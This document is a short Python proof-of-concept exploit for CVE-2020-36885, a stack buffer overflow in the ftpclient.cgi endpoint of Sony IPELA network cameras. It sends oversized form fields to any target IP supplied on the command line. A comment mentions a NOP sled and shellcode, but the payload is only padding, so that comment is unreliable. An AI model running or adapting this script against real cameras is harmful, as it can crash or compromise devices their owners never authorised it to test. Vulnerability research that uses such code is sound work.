CVE-2020-36885

#!/usr/bin/env python3 """ CVE-2020-36885 PoC - Sony IPELA Network Camera ftpclient.cgi Stack Buffer Overflow This PoC demonstrates the stack buffer overflow vulnerability in Sony IPELA Network Camera. Note: This code is for educational and authorized security testing purposes only. """ import requests import sys def exploit_cve_2020_36885(target_ip, target_port=80): """ Exploit for CVE-2020-36885 Sony IPELA Network Camera Stack Buffer Overflow Args: target_ip: Target camera IP address target_port: Target camera web port (default: 80) """ # Generate oversized payload to trigger buffer overflow # NOP sled + shellcode + return address padding = b'A' * 1000 # Overflow payload # Target URL for the vulnerable endpoint url = f"http://{target_ip}:{target_port}/ftpclient.cgi" # Construct the malicious POST request data = { 'ftpserver': 'A' * 500, # Oversized FTP server field 'username': padding, # Overflow in username field 'password': 'B' * 500, # Oversized password field 'action': 'save' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2020-36885 PoC)' } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {len(padding)} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[*] Vulnerability triggered - check device status") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.1.100 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2020_36885(target, port)

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